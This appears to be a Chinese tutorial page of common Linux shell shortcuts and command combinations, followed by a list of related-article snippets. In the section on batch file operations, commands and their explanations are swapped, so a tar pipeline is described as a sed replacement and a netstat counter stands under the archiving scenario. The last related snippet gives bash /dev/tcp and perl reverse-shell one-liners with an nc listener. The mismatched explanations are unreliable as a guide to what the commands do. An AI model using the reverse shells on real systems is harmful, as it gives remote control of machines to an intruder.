常用Shell命令集合和使用技巧(推荐)

一、控制台使用技巧

基于我平时的工作经验,总结出一些我常用的快捷键

1.1 操作快捷键

Ctrl+r:可以快速查找历史命令

Ctrl+a / Ctrl+e:移动光标到命令行首 / 行尾

Ctrl+w / Ctrl+k:删除光标之前 / 之后的内容

1.2 VIM文件编辑快捷键

ZZ:文件保存并退出

1.3 进程操作快捷键

Ctrl+c:强制终止程序

Ctrl+z:挂起一个进程

Ctrl+d: 终端输入exit后回车

1.4 linux命令中快捷键(top)

Shift + p: 根据CPU使用率排序

Shift + m: 根据Mem使用率排序

二、Shell命令合集

首先,我们先对Shell命令合集做一个分类,主要可分为 空间分析,指定文件操作,链接状态分析,IP信息提取

2.1 空间分析

场景1: 磁盘空间不足,需快速定位日志目录

该场景主要用在linux操作系统磁盘空间不足,需要快速定位磁盘使用情况,对文件的磁盘使用率做排序,需要用到如下组合命令:

du -x --max-depth=1 / | sort -k1 -rn #-x 表示跳过其他文件系统

-x表示跳过其他文件系统,只分析本文件系统里面的文件,排除一些额外的干扰项;--max-depth=1 表示只分析/ 目录下第一级目录下的所有文件大小;-k 表示具体按照那一列进行排序;-r是倒序排列;-n表示只对数值排序

场景2:系统产生很多碎片文件,导致 inode 资源不足

该场景主要是操作系统产生大量碎片文件,随之消耗大量innode,innode的过渡使用会导致innode资源不足无法创建文件,因为du 命令只能统计磁盘使用情况无法统计碎片文件的个数,所以统计碎片文件个数需要用到如下组合命令

find -type f | awk -F/ -v OFS=/
 '{$NF="";dir[$0]++}END
{
for (i in dir) print dir[i] i}' | sort -k1 -rn | head

这条命令比较复杂,使用了find,awk,sort,head。

通过find找出指定文件类型的文件,然后管道给 awk,它可以把文本内容按行进行格式化输出并展示,-F / 指定处理文件时字符串之间以 / 进行分割,-v OFS=/ 表示文件显示结果时以 / 进行分割展示。对于awk命令整体规则而言有一个 {} END {} 格式,前面的 {} 表示行处理操作,END{} 表示行处理后需要进行整体结果出,在行处理操作逻辑中,设置$NF 为空表示将每一行的文件名信息去除,从而只保留目录路径,dir 是一个自增数组,用于统计结果。最后通过 for 循环进行遍历输出dir关联数组中所有行信息。

2.2 指定文件操作

场景一:批量查找文件对内容做替换

场景一适用于一个目录下有多个子目录,并且子目录下有大量文件,我们需要找到指定文件然后替换文件里面的内容,需要用到如下组合命令:

(find . -name "*.txt"|xargs tar -cvf test.tar)
 && cp -f test.tar /home/.

通过find命令查找当前目录下的所有子文件夹名称为 consumer.xml 的文件,然管道给 sed ,通过-i把文件内容替换。

场景二:批量查找文件作拷贝打包

场景二主要是用在对查找到的指定文件进行打包,然后拷贝到指定路径,可以使用如下组合命令:

netstat -n | awk '/^tcp/{arr[$NF]++
}
END {for (i in arr) print arr[i] " " i
}'

查找当前目录下的所有以 .txt结尾的文件,然后打包成test.tar,如果打包成功则把压缩包拷贝到/home目录下

2.3 网络连接状态分析

场景一:列出tcp协议下的连接,并统计所有状态的总量

场景一主要用在查看服务器当前有多少TCP类型的连接,分析TCP/IP网络状态(ESTABLISHED,TIME_WAIT)

netstat -n | awk '/^tcp/{arr[$NF]++} END {for (i in arr) print arr[i] " " i}'

对于awk命令整体规则而言有一个 {} END {} 格式,上述命令分析了TCP协议下,所有类型连接的总数,可用于分析查看当前服务器连接数。

2.4 IP信息提取

场景一:通过命令获取主机IP信息

ip a|grep "global"|awk'{print $2}'|awk -F/'{print $1}'

ip a负责查看主机上所有的网卡信息,然后过滤 global关键字,打印出第二列,再把子网掩码移除掉即可获取到主机ip

三、常见问题

问题一:Shell适不适合作多并发任务

答:不适合,Shell中一般是通过nohup的方式把需要并发执行的任务放入后台,这样做有存在一些问题,包括  进程状态不好控制,进程间信息共享一般以文件形式进行等,所以当需要进行大的并发任务执行时,建议使用Python,Go,PHP语言实现并发。

问题二:Shell适合用在什么场景中

答:Shell 适合用在追求运维高效(非性能高效)要求的简单场景中,如日志切割、进程分析、系统初始化等。

总结

到此这篇关于常用Shell命令集合和使用技巧(推荐)的文章就介绍到这了,更多相关Shell命令集合和使用技巧内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • Shell中变量作用域的介绍与使用命令

    前言 众所周知Shell 中的变量只作用于当前进程.如需在子进程中创建副本可使用 export 内建命令. 有时使用临时变量语法可以非常方便. 变量使用 任何地方都可以定义 Shell 变量,使用 = 分隔变量名和变量值.= 前后不可出现空格,但变量的值可以留空. 读取变量需要添加$前缀. 变量作用域为当前进程. 例如: url=http://harttle.com echo $url export 到子进程 通常变量是不需要 export 的,但是当你需要把一个工作分割成若个小的任务, 分别用

  • linux shell 管道命令(pipe)使用及与shell重定向区别

    看了前面一节:linux shell数据重定向(输入重定向与输出重定向)详细分析 估计还有一些朋友是头晕晕的,好复杂的重定向了.这次我们看下管道命令了.shell管道,可以说用法就简单多了. 管道命令操作符是:"|",它仅能处理经由前面一个指令传出的正确输出信息,也就是 standard output 的信息,对于 stdandard error 信息没有直接处理能力.然后,传递给下一个命令,作为标准的输入 standard input. 管道命令使用说明: 先看下下面图: comma

  • Shell中使用scp命令实现文件上传代码

    自从法现 SSH 可以执行远端命令后,ftp 软件也渐渐很少用了. 每次更新服务器代码,都要打包.上传.登录到服务器修改文件权限.更新 Cache 等等,又慢又容易出错,所以做成脚本,一次帮我搞定,自己就点上一根烟坐在电脑面前发呆,要么就玩会儿<植物大战僵尸>啥的,悠闲! PS: Ant 以及 Phing 用户,你们可以无视了- 我只是喜欢玩 Shell 而已. 复制代码 代码如下: #!/bin/sh   HOME='/cygdrive/d/public_html/myproject'  

  • 使用shell脚本执行hive、sqoop命令的方法

    1.test.sh脚本内容如下: #!/bin/bash #CURR_DATE=`date +"%Y-%m-%d %H:%M:%S"`------>不能使用 v_sql="insert into origin_ennenergy_energytrade.test2 values('"$(date +"%Y-%m-%d %H:%M:%S")"','"Y"')" echo $v_sql #insert i

  • PowerShell中match命令使用详解

    1.筛选数组 本文介绍PowerShell中使用match操作符,配合正则表达式从数组中筛选出想要的内容. 先看下面这个例子: PS C:\Users\Hong> (ipconfig) -match 'IPv4' IPv4 地址 . . . . . . . . . . . . : 192.168.1.102 IPv4 地址 . . . . . . . . . . . . : 192.168.193.1 IPv4 地址 . . . . . . . . . . . . : 192.168.93.1

  • shell中使用expect命令进行远程执行命令脚本

    expect是用来实现自动交互功能的工具之一,使用expect-send来实现交互过程. 注意: 1.脚本的执行方法与bash shell不一样,比如:expect example.sh 2.向一个脚本传递参数时,bash shell是使用$1,$2...来接收参数的:而expect则将脚本的执行参数保存在数组$argv中,在脚本中一般将其赋值给变量:set 变量名 [lindex $argv 参数] #!/usr/bin/expect set ip [lindex $argv 0] set p

  • Js使用WScript.Shell对象执行.bat文件和cmd命令

    WScript.Shell(Windows Script Host Runtime Library)是一个对象,对应的文件是C:/WINDOWS/system32/wshom.ocx,Wscript.shell是服务器系统会用到的一种组件.shell 就是"壳"的意思,这个对象可以执行操作系统外壳常用的操作,比如运行程序.读写注册表.环境变量等.这个对象通常被用在VB或VBS编程中. 安装WScript.Shell对象:regsvr32 WShom.Ocx 卸载WScript.Shel

  • shell命令while循环中使用sleep命令代码示例

    本文继续练习while循环语句,这里要介绍一个sleep的命令.如果写过自动化脚本,特别是selenium的同学,肯定很熟悉这个sleep.没错,sleep就是暂停的意思,例如sleep 1,表示暂停一秒,看下面练习. 1. 从1到10,每隔一秒打印一个数字 #! /bin/bash # while loops n=1 while (( $n <= 10 )) do echo $n (( n++ )) sleep 1 done 自己运行下,看下效果. 2. 实现一秒开一个终端 我们先要获取终端的

  • 常用Shell命令集合和使用技巧(推荐)

    一.控制台使用技巧 基于我平时的工作经验,总结出一些我常用的快捷键 1.1 操作快捷键 Ctrl+r:可以快速查找历史命令 Ctrl+a / Ctrl+e:移动光标到命令行首 / 行尾 Ctrl+w / Ctrl+k:删除光标之前 / 之后的内容 1.2 VIM文件编辑快捷键 ZZ:文件保存并退出 1.3 进程操作快捷键 Ctrl+c:强制终止程序 Ctrl+z:挂起一个进程 Ctrl+d: 终端输入exit后回车 1.4 linux命令中快捷键(top) Shift + p: 根据CPU使用率

  • HBASE 常用shell命令,增删改查方法

    1.首先给出本次操作的数据 create 'student','info','address' put 'student','1','info:age','20' put 'student','1','info:name','wang' put 'student','1','info:class','1' put 'student','1','address:city','zhengzhou' put 'student','1','address:area','High-tech zone' p

  • C++/Php/Python 语言执行shell命令的方法(推荐)

    编程中经常需要在程序中使用shell命令来简化程序,这里记录一下. 1. C++ 执行shell命令 #include <iostream> #include <string> #include <stdio.h> int exec_cmd(std::string cmd, std::string &res){ if (cmd.size() == 0){ //cmd is empty return -1; } char buffer[1024] = {0}; s

  • 简述pm2常用命令集合及配置文件说明

    常用命令集合 pm2 start app.js          # 启动app.js应用程序 pm2 start app.js -i 4      # cluster mode 模式启动4个app.js的应用实例# 4个应用程序会自动进行负载均衡 pm2 start app.js --name="api" # 启动应用程序并命名为 "api" pm2 start app.js --watch     # 当文件变化时自动重启应用 pm2 start script.

  • 开发者常用及实用Linux Shell命令备忘录(小结)

    最近都需要在 Linux 系统下开发,所以经常需要在终端中进行操作.Linux 有很多 shell 命令可以帮助我们完成任务,但不常使用的话就会忘记掉. 本篇作为命令备忘录,我会将实际工作当中用到的命令记录下来,并长期保持更新. 1.which which 用于查找一个文件,并返回绝对路径,查找的目录范围由系统的 PATH 指定. 由于 Linux 中一切皆文件,所以 which 指定更多的是查找系统中有没有这个命令. 比如,查找 ls 命令,我们可知它的可执行文件的位置 which ls /b

  • shell中常用的命令之diff和patch用法

    shell中常用的命令:diff(比较文件内容)和patch(打补丁) 1.diff用法 比较文件内容不同 diff file1 fil2 #以后面的文件file2作为标准 比较file1相对于file2来说有什么不同 比较文件例子 -r:比较目录 diff -r /etc/ /tmp/ 注意:比较的结果是目录中文件的不同 而不是文件内容的不同 2.path用法 patch常用来打补丁 -u:覆盖原文件内容的打补丁 diff -u file2 file1 diff -u file2 file1

  • mysql常用备份命令和shell备份脚本分享

    备份多个数据库可以使用如下命令: mysqldump -uroot -p123456 --databases test1 test2 test3 > /home/test/dump.sql; 恢复备份: source dump.sql --在mysql命令行中输入该命令即可恢复 备份整个数据库: mysqldump -uroot -123456 -A > all.sql 备份整个数据库结构: mysqldump -uroot -p123456 -P3306 -A -d > all_002

  • R语言常用命令集合

    R语言常用命令 help.start()//打开帮助文档 q()//推出函数 ls()//返回处于现在名空间的对象名称 rm()//清楚对象:rm(list=ls())清除所有内存数据 gc()//垃圾回收数据 sqrt(x)//标准差 rnorm()函数 rnorm(n, mean = 0, sd = 1) n 为产生随机值个数(长度),mean 是平均数, sd 是标准差,如果没有设置mean和sd的话,他们的默认值分别为0和1 .使用该函数的时候后,一般要赋予它 3个值.rnorm() 函

  • linux下shell常用脚本命令及有关知识

    目录 一.需要记住的一些知识点 1.变量类型 2.shell变量说明 3.单引号和双引号和反引号的区别 4.shell转义字符 5. 算术运算符列表 6.关系运算符 7.布尔运算符列表 8. 文件测试运算符列表 二.常用脚本命令举例说明 一.需要记住的一些知识点 1.变量类型 运行shell时,会同时存在三种变量: 1) 局部变量 局部变量在脚本或命令中定义,仅在当前shell实例中有效,其他shell启动的程序不能访问局部变量. 2) 环境变量 所有的程序,包括shell启动的程序,都能访问环

  • Linux下NC反弹shell命令(推荐)

    本机开启监听: nc -lvnp 4444 nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 perl版本: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p

随机推荐